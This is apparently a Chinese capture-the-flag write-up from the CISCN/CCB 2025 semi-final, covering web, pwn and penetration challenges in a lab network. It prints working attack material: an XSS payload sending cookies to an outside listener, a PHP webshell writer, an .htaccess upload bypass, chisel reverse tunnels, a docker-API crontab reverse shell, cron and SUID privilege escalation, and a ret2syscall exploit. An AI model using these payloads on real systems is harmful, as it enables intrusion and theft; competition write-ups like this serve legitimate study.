目录

  1. 1. 前言
  2. 2. AWDP
    1. 2.1. Web
      1. 2.1.1. time-capsule
      2. 2.1.2. rng-assistant
        1. 2.1.2.1. break(复现)
      3. 2.1.3. ccforum
        1. 2.1.3.1. break(复现)
      4. 2.1.4. chatroom
    2. 2.2. Pwn
      1. 2.2.1. typo solved by Laffey
      2. 2.2.2. prompt solved by Laffey
  3. 3. 渗透
    1. 3.1. 应急响应 solved by Laffey
      1. 3.1.1. flag01
      2. 3.1.2. flag02
      3. 3.1.3. flag03
      4. 3.1.4. flag05
    2. 3.2. Web-Git
      1. 3.2.1. flag01 solved by C1oudfL0w0
      2. 3.2.2. getshell
      3. 3.2.3. flag02 Unsolved
      4. 3.2.4. flag03 Unsolved
      5. 3.2.5. flag04 Unsolved
      6. 3.2.6. flag05 Unsolved
    3. 3.3. CCB2025
      1. 3.3.1. flag01 solved by C1oudfL0w0
      2. 3.3.2. 信息收集&代理
      3. 3.3.3. flag02(复现)
      4. 3.3.4. flag03(复现 CVE-2020-35736)
    4. 3.4. 数据管理系统(Unsolved)
      1. 3.4.1. flag01(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN 18st & CCB 2nd半决赛

2025/3/17 线下赛 CVE 提权 Redis GitLab ROP
  |     |   总文章阅读量:

前言

一个好问题,这个比赛要命名为2024还是2025?🤔

参考:

https://mp.weixin.qq.com/s/H_UL4nkgCXqPk-LeCbo8KA

https://mp.weixin.qq.com/s/0e8avtn3o_jZJbh3UDUdzw

https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/

image-20250317125908467

屏幕截图 2025-03-16 170224


AWDP

Web

4小时1个人看5道web攻防一体

天塌了,waf盲修全拉满了一个都没修成,还不如直接花时间代审打掉一题恰个分。。

time-capsule

nm,java怎么是冷部署也没提醒,通防修了10次没过差点怀疑人生

resolveClass 上通防 ban 掉 SignedObject 这种二次反序列化类,HikariCP 那几个没见过的jar包应该就行了


rng-assistant

要求直接拿sed命令修。。。

粗略看了下,感觉必定是要打 redis 的,随便waf没成:

#!/bin/bash

sed -i "63a \\\ \ \ \ \ \ \ \ \ \ \ \ prompt = (WAF(prompt))" "/app/app.py"
sed -i "53a def WAF(key):\n\tif b'gopher' in key:\n\t\tkey = key.replace(b'gopher', b'http')\n\treturn key" "/app/app.py"

后面看了题才发现原来没用到协议,那估计是 ban 修改端口就行(

break(复现)

先观察路由

从 /register 和 /login 获取 session,有 guest 和 admin 两种权限

/admin/ 的鉴权:

if (
    "user" not in session
    or request.headers.get("X-User-Role") != "admin"
    or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
    return jsonify({"error": "Access denied"}), 403

添加 X 头即可越权

/admin/model_ports 可以修改 model_ports,可以在这里修改端口为 6379 打 redis

model_ports = {"math-v1": 54321, "default": 50051}


    data = request.json
    model_id = data.get("model_id")
    port = data.get("port")

    if request.method in ["POST", "PUT"]:
        if not model_id or not port:
            return jsonify({"error": "Missing parameters"}), 400
        model_ports[model_id] = port
        return jsonify({"message": "Update successful", "user": whoami(session['user'])})

image-20250411003856439

注意这里 port 是 int 不是 str

/admin/raw_ask 能自己写 prompt 进行数据库查询,于是在这里执行 redis 语句

data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")

final_prompt = custom_prompt

response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})

image-20250411004347054

成功执行,redis 为低权限服务,写不了文件到关键位置,考虑主从复制,但是不确定能不能通(

/ask 路由

final_prompt = generate_prompt(question)


def generate_prompt(user_question, prompt_id="math-v1"):
    return PromptTemplate(user_question).get_prompt(prompt_id)


class PromptTemplate:
    PROMPT_DIR = "static/prompts"

    def __init__(self, question, user_level="primary"):
        self.user_level = user_level
        self.question = question

    @staticmethod
    def get_template(template_id):
        prompt_key = f"prompt:{template_id}"
        prompt = redis_conn.get(prompt_key)
        if not prompt:
            template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
            with open(template_path, "rb") as file:
                prompt = file.read()
            redis_conn.set(prompt_key, prompt)
        prompt = prompt.decode(errors="ignore")
        return prompt

    def get_prompt(self, template_id):
        return PromptTemplate.get_template(template_id).format(t=self)

是从模板读取 math-v1.txt 的内容,有缓存机制,第一次从文件读,之后都是从 redis 数据库读

这里 prompt_id 写死为 math-v1.txt ,而 flag 在 /app/flag.py 且导入到了 app.py

image-20250411010517002

观察模板,是用 str.format 方法进行渲染的,明显有 python 格式化字符串漏洞

把 payload 写入到 redis 缓存中

set prompt:math-v1 '{t.__init__.__globals__}'

image-20250411012803655

image-20250411012621836

再访问 /ask 即可找到 flag

image-20250411012834027


ccforum

上了一堆通防没守住,原来是因为没有rce只有目录穿越(

break(复现)

粗略测一下功能点:

  • 一个注册登录的部分
  • 登录后,可以创建 post
  • post 具有敏感词检测,一旦检测到就会被记录到 log,并创建文件留档

发现除了执行 sql 语句以外就是 log_action 方法

function log_action($username, $action, $succ, $additional = '')
{
    $log_id = uniqid();
    $e_username = encode_uname($username);
    $log_line = sprintf(
        "%s,%s,%s,%d,%s\n",
        $log_id,
        $e_username,
        $action,
        $succ,
        $additional
    );

    file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

本地测试一下效果:

image-20250411113024430

在 $additional 这里,通过自行添加\n,我们可以添加一行新的日志

image-20250411114224773

image-20250411114152550

然后就能绕过对 $e_username 的编码,接下来看一下 username 的作用

$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

$banned_users = [];
$failed_logs = [];

foreach ($log_lines as $line) {
    if (empty($line)) {
        continue;
    }

    $parts = explode(',', $line);
    if (count($parts) < 5) {
        continue;
    }

    $encoded_user = $parts[1];
    $action = $parts[2];
    $success = (int) $parts[3];
    $additional_info = $parts[4];

    if ($action === 'record_banned') {
        if ($success === 1) {
            $banned_users[$encoded_user][] = $additional_info;
        } else {
            $failed_logs[] = $additional_info;
        }
    }
}

$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
    $banned_dir = "/var/www/banned/{$encoded_user}";

    if (file_exists($banned_dir)) {
        $files = scandir($banned_dir);
        foreach ($files as $file) {
            if ($file !== '.' && $file !== '..') {
                $file_path = $banned_dir . '/' . $file;
                $content = file_get_contents($file_path);
                $banned_contents[$username][] = $content;
            }
        }
    }
}

username 的值决定这里的 $encoded_user

这里 file_get_contents 会读取 /var/www/banned/{$encoded_user},存在目录穿越,只要我们控制了 $encoded_user 就能读取目录下任意文件

先找一下调用 log_action 的地方,需要第四个参数是可控的,其实也就是上面 action 要求的 record_banned

image-20250412230623788

function record_banned($username, $banned)
{
    $e_username = encode_uname($username);
    $banned_dir = "/var/www/banned/{$e_username}";
    $created = true;
    if (!file_exists($banned_dir)) {
        $created = mkdir($banned_dir, 0750);
    }
    $log = "";
    $succ = 1;
    if (!$created) {
        $succ = 0;
        $log = "Failed to create record directory for " . $username;
    } else {
        $filename = $banned_dir . '/' . time() . '.txt';
        if (!file_put_contents($filename, $banned)) {
            $succ = 0;
            $log = "Failed to record banned content";
        }
    }
    log_action($username, 'record_banned', $succ, $log);
}

$log 可以控制为 "Failed to create record directory for " . $username,这里 username 就能插换行payload进去:

\n,../../../,record_banned,1,

为了让 $created 为 false,首先要使 mkdir 失败,那先观察这里的encode_uname($username),是套一层 base64,而 base64 的编码里存在/,mkdir 不能直接生成多层目录

那么尝试生成一个用户名,base64后存在 /,爆破一个出来,注意用户名长度不能超过 31,上面 payload 已经有 28 个字符了:

<?php
for ($i = 0; $i < 256; $i++) {
    for ($j = 0; $j < 256; $j++) {
        $prefix = chr($i) . chr($j);
        $str = 'a'. $prefix . "\n" . ',../../../,record_banned,1,';
        $base64 = base64_encode($str);
        if (strpos($base64, '/') !== false) {
            echo urlencode($str) . "\n";
            echo $base64 . "\n";
            echo strlen($str) . "\n";
            exit;
        }
    }
}

得到a%00%3F%0A%2C..%2F..%2F..%2F%2Crecord_banned%2C1%2C,也就是我们的 username

拿着这个 username 去注册并登录,发表敏感词触发日志记录的逻辑

image-20250412233742202

image-20250412233830003

然后访问 admin.php 就可以得到 flag,至于 admin 的账密从哪来就不得而知了

fix 最小修补的话,直接 ban 掉换行符写入就行


chatroom

没来得及看


Pwn

typo solved by Laffey

sub_1554当中的snprintf函数很明显把参数的位置写错了。复杂点可以给改成scanf,暴力点直接nop掉就check过了。

prompt solved by Laffey

sub_1962里面的freenop掉就check过了。


渗透

应急响应 solved by Laffey

flag01

tcpdump守株待兔看到一个可疑连接。

14:06:16.423873 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [S], seq 652709613, win 64240, options [mss 1460,sackOK,TS val 854503530 ecr 0,nop,wscale 7], length 0
14:06:16.424237 IP 192.168.57.203.4948 > 192.168.57.210.51812: Flags [S.], seq 3078376719, ack 652709614, win 65160, options [mss 1460,sackOK,TS val 3957384911 ecr 854503530,nop,wscale 7], length 0
14:06:16.424281 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [.], ack 1, win 502, options [nop,nop,TS val 854503530 ecr 3957384911], length 0
14:06:16.424668 IP 192.168.57.203.4948 > 192.168.57.210.51812: Flags [P.], seq 1:41, ack 1, win 510, options [nop,nop,TS val 3957384911 ecr 854503530], length 40
14:06:16.424692 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [.], ack 41, win 502, options [nop,nop,TS val 854503531 ecr 3957384911], length 0
14:06:16.424830 IP 192.168.57.203.4948 > 192.168.57.210.51812: Flags [P.], seq 41:93, ack 1, win 510, options [nop,nop,TS val 3957384911 ecr 854503531], length 52
14:06:16.424843 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [.], ack 93, win 502, options [nop,nop,TS val 854503531 ecr 3957384911], length 0

交上去对了。

flag02

在flag03提到的下载程序会发现这个。

交上去对了。

flag03

硬盘镜像取证,搜索192.168.57.203。会发现在一个ELF文件里面。复制一大段出来,把后面截断到file正好能认出来不报错为止。

flag05

感觉很可疑,但是不是可见字符串,不太像能交的。看看它有没有经过什么处理。

找xref发现这个,那就照葫芦画瓢。

交上去对了。

Web-Git

172.16.173.40

start infoscan
172.16.173.40:111 open
172.16.173.40:110 open
172.16.173.40:143 open
172.16.173.40:443 open
172.16.173.40:80 open
172.16.173.40:25 open
172.16.173.40:995 open
172.16.173.40:993 open
172.16.173.40:3306 open
172.16.173.40:8060 open
172.16.173.40:9094 open
172.16.173.40:9999 open
[*] alive ports len is: 12
start vulscan
[*] WebTitle http://172.16.173.40      code:200 len:5828   title:Gitlab
[*] WebTitle http://172.16.173.40:8060 code:404 len:555    title:404 Not Found
[*] WebTitle http://172.16.173.40:9999 code:403 len:555    title:403 Forbidden
[*] WebTitle https://172.16.173.40     code:200 len:5828   title:Gitlab
[13:12:33] 301 -  234B  - /.git  ->  http://172.16.173.40/.git/
[13:12:33] 200 -  694B  - /.git/branches/
[13:12:33] 200 -   12B  - /.git/COMMIT_EDITMSG
[13:12:33] 200 -   92B  - /.git/config
[13:12:33] 200 -   23B  - /.git/HEAD
[13:12:33] 200 -   73B  - /.git/description
[13:12:33] 200 -    3KB - /.git/
[13:12:33] 200 -    3KB - /.git/hooks/
[13:12:33] 200 -  104B  - /.git/index
[13:12:33] 200 -  894B  - /.git/info/
[13:12:33] 200 -  240B  - /.git/info/exclude
[13:12:33] 200 -    1KB - /.git/logs/
[13:12:33] 301 -  244B  - /.git/logs/refs  ->  http://172.16.173.40/.git/logs/refs/
[13:12:33] 200 -  289B  - /.git/logs/refs/heads/master
[13:12:33] 200 -    1KB - /.git/logs/HEAD
[13:12:33] 301 -  250B  - /.git/logs/refs/heads  ->  http://172.16.173.40/.git/logs/refs/heads/
[13:12:33] 200 -    3KB - /.git/objects/
[13:12:33] 200 -    1KB - /.git/refs/
[13:12:33] 301 -  245B  - /.git/refs/heads  ->  http://172.16.173.40/.git/refs/heads/
[13:12:33] 301 -  244B  - /.git/refs/tags  ->  http://172.16.173.40/.git/refs/tags/
[13:12:33] 200 -   41B  - /.git/refs/heads/master
[13:12:33] 403 -  213B  - /.ht_wsr.txt
[13:12:33] 403 -  216B  - /.htaccess.bak1
[13:12:33] 403 -  216B  - /.htaccess.orig
[13:12:33] 403 -  216B  - /.htaccess.save
[13:12:33] 403 -  217B  - /.htaccess_extra
[13:12:33] 403 -  214B  - /.htaccessBAK
[13:12:33] 403 -  215B  - /.htaccessOLD2
[13:12:33] 403 -  216B  - /.htaccess_orig
[13:12:33] 403 -  218B  - /.htaccess.sample
[13:12:33] 403 -  214B  - /.htaccessOLD
[13:12:33] 403 -  206B  - /.htm
[13:12:33] 403 -  214B  - /.htaccess_sc
[13:12:33] 403 -  207B  - /.html
[13:12:33] 403 -  212B  - /.htpasswds
[13:12:33] 403 -  216B  - /.htpasswd_test
[13:12:33] 403 -  213B  - /.httr-oauth
[13:12:41] 200 -    1KB - /assets/
[13:12:41] 301 -  236B  - /assets  ->  http://172.16.173.40/assets/
[13:12:41] 301 -  236B  - /backup  ->  http://172.16.173.40/backup/
[13:12:41] 403 -  209B  - /backup/
[13:12:43] 403 -  210B  - /cgi-bin/
[13:12:45] 200 -   13B  - /default.php
[13:12:48] 302 -   29KB - /header.php  ->  /login
[13:12:49] 302 -   82KB - /index.php  ->  /login
[13:12:49] 302 -   82KB - /index.php/login/  ->  /login
[13:12:49] 302 -   35KB - /info.php  ->  /login
[13:12:50] 200 -    0B  - /log.php
[13:12:51] 301 -  235B  - /login  ->  http://172.16.173.40/login/
[13:12:51] 200 -  838B  - /login/
[13:12:51] 302 -    0B  - /logout.php  ->  /login
[13:12:51] 301 -  236B  - /manual  ->  http://172.16.173.40/manual/
[13:12:51] 200 -    9KB - /manual/index.html
[13:12:54] 403 -  211B  - /php5.fcgi
[13:13:02] 200 -    0B  - /user.php

flag01 solved by C1oudfL0w0

git泄露,使用git_extract提取所有的提交记录

得到第一个flag


getshell

邮箱 ryan@work.com

/login 测试登录

返回后端的sql语句:

SELECT * FROM admin where name='ryan@work.com' and password='e10adc3949ba59abbe56e057f20f883e';

name处明显存在sql注入,sqlmap一把梭

id,icon,name,address,password
1,1.jpg,admin,123123,64e39c60d69afe351b48472307add2c5

id,email,password,username,login_time
1,ryan@work,circumstances,ryan,2019-08-07 13:00:00

得到md5后的密码,利用sql注入让语句为真即可

username=admin'and password='64e39c60d69afe351b48472307add2c5'#&password=1

进入 header.php,是一个邮件管理系统

个人修改信息处修改头像可以传马,但是不知道传到哪了


发现1.jpg是个马

同目录下还有个1.php,猜测参数是a

先写个post马

?a=file_put_contents('2.php','<?php eval($_POST[0]);');

蚁剑连上去
/var/www/html/sqlhelper.php 拿到数据库账密

private static $host="127.0.0.1";
private static $user="root";
private static $pwd="Simplexue";
private static $db="mail";

但是蚁剑里头整了半天,fscan传不上去也写不了,数据库一连终端就崩,倒腾半天没找到第二个flag


没做出来的部分就抄参考文章里的了

flag02 Unsolved

110 端口是个 pop3 服务

登录 pop3 就能拿到flag了


flag03 Unsolved

在数据库可以发现 ryan 用户的密码

image-20250408112503517

直接 su 切换到 ryan 用户,然后用 grep 搜 /var 文件夹得到 flag3

image-20250408112527323


flag04 Unsolved

应该是内网部分了

扫描得到 /backup/www.zip

sqlhelper.php 存在反序列化

写马进去后,查看 /home 目录,发现 gitlab 文件夹可访问,里面有一个 lookme ,是 flag4


flag05 Unsolved

在 /home/ryan 目录下存在一个 del.py 文件

#!/usr/bin/env python
import os
import sys
try:
	os.system('rm -r /tmp/* ')
except:
	sys.exit()

可读可写可执行,存在计划任务提权

image-20250408112939991

修改为

#!/usr/bin/env python
import os
import sys
try:
	os.system('chomd u+s /usr/bin/bash')
except:
	sys.exit()

执行 python 脚本后执行命令 /usr/bin/bash -p 即可提权至root

在 /root 目录下发现 aim.jpg 文件,打开查看为 flag5


CCB2025

172.18.173.20

[13:08:23] 403 -  278B  - /.ht_wsr.txt
[13:08:23] 403 -  278B  - /.htaccess.bak1
[13:08:23] 403 -  278B  - /.htaccess.sample
[13:08:23] 403 -  278B  - /.htaccess.orig
[13:08:23] 403 -  278B  - /.htaccess.save
[13:08:23] 403 -  278B  - /.htaccess_extra
[13:08:23] 403 -  278B  - /.htaccessBAK
[13:08:23] 403 -  278B  - /.htaccess_sc
[13:08:23] 403 -  278B  - /.htaccess_orig
[13:08:23] 403 -  278B  - /.htaccessOLD2
[13:08:23] 403 -  278B  - /.htm
[13:08:23] 403 -  278B  - /.htaccessOLD
[13:08:23] 403 -  278B  - /.html
[13:08:23] 403 -  278B  - /.htpasswd_test
[13:08:23] 403 -  278B  - /.htpasswds
[13:08:23] 403 -  278B  - /.httr-oauth
[13:08:24] 403 -  278B  - /.php
[13:08:33] 302 -    0B  - /dashboard.php  ->  login.html
[13:08:35] 200 -  484B  - /feedback.html
[13:08:37] 301 -  312B  - /img  ->  http://172.18.173.20/img/
[13:08:39] 200 -  524B  - /login.html
[13:08:39] 302 -    0B  - /logout.php  ->  login.html
[13:08:46] 403 -  278B  - /server-status
[13:08:46] 403 -  278B  - /server-status/
[13:08:48] 200 -  473B  - /src/
[13:08:48] 301 -  312B  - /src  ->  http://172.18.173.20/src/
[13:08:51] 200 -   15KB - /users.log
start infoscan
172.18.173.20:22 open
172.18.173.20:80 open
172.18.173.20:631 open
172.18.173.20:28010 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://172.18.173.20      code:200 len:1304   title:index
已完成 3/4 [-] ssh 172.18.173.20:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 root 1234567890 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 root qwe123!@# ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 admin Admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 admin 123456789 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 admin system ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 4/4

flag01 solved by C1oudfL0w0

入口环境中管理员每5分钟会进行登录

feedback.html 处明显是一个xss

<script>fetch('http://192.168.173.251:666/'+document.cookie);</script>

测试发现通自己的机器,nc守株待兔拿到cookie

auth=admin_logged_in

成功进入dashboard.php

想起来之前 feedback.html 可以传马

在 dashboard 这里可以看到上传的文件会传到 http://172.18.173.20/feedbacks_uploads_Files/

测试发现过滤了.php

使用 .htaccess 和 png 组合拳拿shell

<FilesMatch "1.png">
Sethandler application/x-httpd-php
</FilesMatch>


信息收集&代理

$ getcap -r / 2>/dev/null
/snap/core22/1722/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.173.20  netmask 255.255.255.0  broadcast 172.18.173.255
        inet6 fe80::f819:4aff:fee3:d500  prefixlen 64  scopeid 0x20<link>
        ether fa:19:4a:e3:d5:00  txqueuelen 1000  (Ethernet)
        RX packets 348142  bytes 29141542 (29.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 434776  bytes 33689882 (33.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.16.100  netmask 255.255.255.0  broadcast 172.18.16.255
        inet6 fe80::f806:edff:fe6e:5401  prefixlen 64  scopeid 0x20<link>
        ether fa:06:ed:6e:54:01  txqueuelen 1000  (Ethernet)
        RX packets 4524  bytes 428449 (428.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50  bytes 3596 (3.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 193933  bytes 169089451 (169.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 193933  bytes 169089451 (169.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

172.18.173.20是我们这一层网,扫172.18.16.100

[2025-03-16 06:40:08] [HOST] 目标:172.18.16.2 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:09] [HOST] 目标:172.18.16.88 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:09] [HOST] 目标:172.18.16.100 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:11] [HOST] 目标:172.18.16.200 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.88 状态:open 详情:port=80
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.100 状态:open 详情:port=80
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.200 状态:open 详情:port=22
[2025-03-16 06:40:14] [SERVICE] 目标:172.18.16.200 状态:identified 详情:info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5., port=22, service=ssh, version=9.6p1 Ubuntu 3ubuntu13.5, product=OpenSSH, os=Linux
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.100 状态:open 详情:port=22
[2025-03-16 06:40:14] [SERVICE] 目标:172.18.16.100 状态:identified 详情:version=9.6p1 Ubuntu 3ubuntu13.5, product=OpenSSH, os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5., port=22, service=ssh
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.88 状态:open 详情:port=22
[2025-03-16 06:40:14] [SERVICE] 目标:172.18.16.88 状态:identified 详情:info=protocol 2.0, banner=SSH-2.0-OpenSSH_7.4., port=22, service=ssh, version=7.4, product=OpenSSH
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.200 状态:open 详情:port=8000
[2025-03-16 06:40:19] [SERVICE] 目标:172.18.16.88 状态:identified 详情:port=80, service=http
[2025-03-16 06:40:19] [SERVICE] 目标:172.18.16.100 状态:identified 详情:port=80, service=http
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.200 状态:identified 详情:port=8000, service=unknown
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.100 状态:identified 详情:url=http://172.18.16.100, status_code=200, length=1304, server_info=map[accept-ranges:bytes content-type:text/html date:Sun, 16 Mar 2025 06:40:24 GMT etag:"518-62c353443a080-gzip" last-modified:Tue, 21 Jan 2025 10:54:42 GMT length:1304 server:Apache/2.4.58 (Ubuntu) status_code:200 title:index vary:Accept-Encoding], fingerprints=[], port=80, service=http, title=index
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.88 状态:identified 详情:url=http://172.18.16.88, status_code=200, length=6, server_info=map[accept-ranges:bytes content-length:6 content-type:text/html date:Sun, 16 Mar 2025 06:40:25 GMT etag:"6-62c3331fecb80" last-modified:Tue, 21 Jan 2025 08:30:54 GMT length:6 server:Apache/2.4.54 (Debian) status_code:200 title:无标题], fingerprints=[], port=80, service=http, title=无标题
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.200 状态:identified 详情:length=0, server_info=map[content-length:0 content-type:text/html; charset=UTF-8 date:Sun, 16 Mar 2025 06:40:24 GMT length:0 license:AGPLv3 location:/auth?next=%2F redirect_url:https://172.18.16.200:8000/auth?next=%2F server:GateOne status_code:302 title:无标题 vary:Accept-Encoding x-ua-compatible:IE=edge], fingerprints=[], port=8000, service=http, title=无标题, url=https://172.18.16.200:8000, status_code=302
172.18.16.2
172.18.16.88:80
https://172.18.16.200:8000/

传chisel做代理

chisel.exe server -p 33322 --reverse
./chisel client 192.168.173.251:33322 R:0.0.0.0:44543:socks

flag02(复现)

.88

返回 error,扫描也没有获得其他信息,也不存在目录穿越


草,忘了扫高端口了,22375端口上面有一个 docker-api 未授权可以直接扫出来

本地试着搭个环境打一下吧:https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce

访问 /version 可以返回信息

image-20250409005108144

exp:

import docker

client = docker.DockerClient(base_url='http://vuln-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.236.196 23333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

创建容器,挂载主机的/etc目录,并向 root 用户的 crontab 添加一个反弹 shell 命令

注意:此脚本针对 centos 系统可以反弹shell,ubuntu 系统不反弹

另一种方法:

docker 有远程连接命令,由于2375端口暴露,所以可以未授权访问

docker -H tcp://vuln-ip:2375/ ps
docker -H tcp://vuln-ip:2375/ images

image-20250409010530853

需要启动一个有交互的shell,并且是特权镜像

当操作者执行docker run --privileged时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限

docker -H tcp://vuln-ip:2375 run --privileged=true -it -v /:/tmp alpine /bin/sh

image-20250409010825691


flag03(复现 CVE-2020-35736)

.200

是一个 GateOne 服务,
ssh终端日志里存了一些 .88 和 .100 的ssh交互记录,但是再看的时候没了,估摸着有个专门的洞,但是本地文库里头没有


应该是任意文件读取的洞,参考:https://cloud.tencent.com/developer/article/1866793

/downloads/ 路由存在目录穿越可以读取任意文件

gateone/core/server.py:

image-20250409012216645

这里直接把 path 用os.path.join拼进去了,那就无脑目录穿越

image-20250409011736056


数据管理系统(Unsolved)

172.19.173.30:22 open
172.19.173.30:8081 open
172.19.173.30:8080 open
172.19.173.30:65533 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://172.19.173.30:8081 code:200 len:397    title:Directory listing for /
[+] InfoScan http://172.19.173.30:8081 [目录遍历]
[*] WebTitle http://172.19.173.30:8080 code:302 len:0      title:None 跳转url: http://172.19.173.30:8080/login;jsessionid=5A6469C9BDD7B5761119C6F1AA4D5CFA
[*] WebTitle http://172.19.173.30:8080/login;jsessionid=5A6469C9BDD7B5761119C6F1AA4D5CFA code:200 len:8663   title:Login

8080 是个 shiro,但是 key 爆不出来

8081端口

#!/usr/bin/env python3
import http.server
import socketserver

PORT = 8081

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print(f"Serving on port {PORT}")
    httpd.serve_forever()

以及一个 exrop,是pwn题,开在65533上,直接一个 gets,给了/bin/sh,没system

flag01(复现)

打 ret2syscall 即可,但是我当时丢给我们pwn手,做了一小时没出可还行,貌似是 cyclic 算的偏移出了点问题

exp:

from pwn import *


p = process("./exrop")

pop_rax_rdi_ret = 0x401180
pop_rdi_ret = 0x401181
pop_rsi_ret = 0x40117e
rdx_addr = 0x401183
binsh_addr = 0x402004
syscall_addr = 0x401187

payload = b"A" * 0x138 + p64(pop_rax_rdi_ret) + p64(59)
payload += p64(binsh_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(rdx_addr) + p64(0)
payload += p64(syscall_addr)


p.sendline(payload)
p.interactive()

另一种解法:

8080 上存在接口泄露

image-20250408113416313

看 /proc/self/cmdline 得到执行 jar 包的路径,从而下载到源码,泄露出 shirokey

image-20250408113757763

那么打shiro反序列化秒了

不过web和pwn的打法进来都不是 root 权限

base64提权读 /flag:

find / -user root -perm -4000 -print 2>/dev/null
base64 '/flag' | base64 -d

扫内网搭代理进去,有 tp5.0.23 尝试利用,发现存在 waf,system 用不了会重定向到 rasp,但是 file_get_contents 放出来了, 打文件读取 rce 应该可以绕过其中的 waf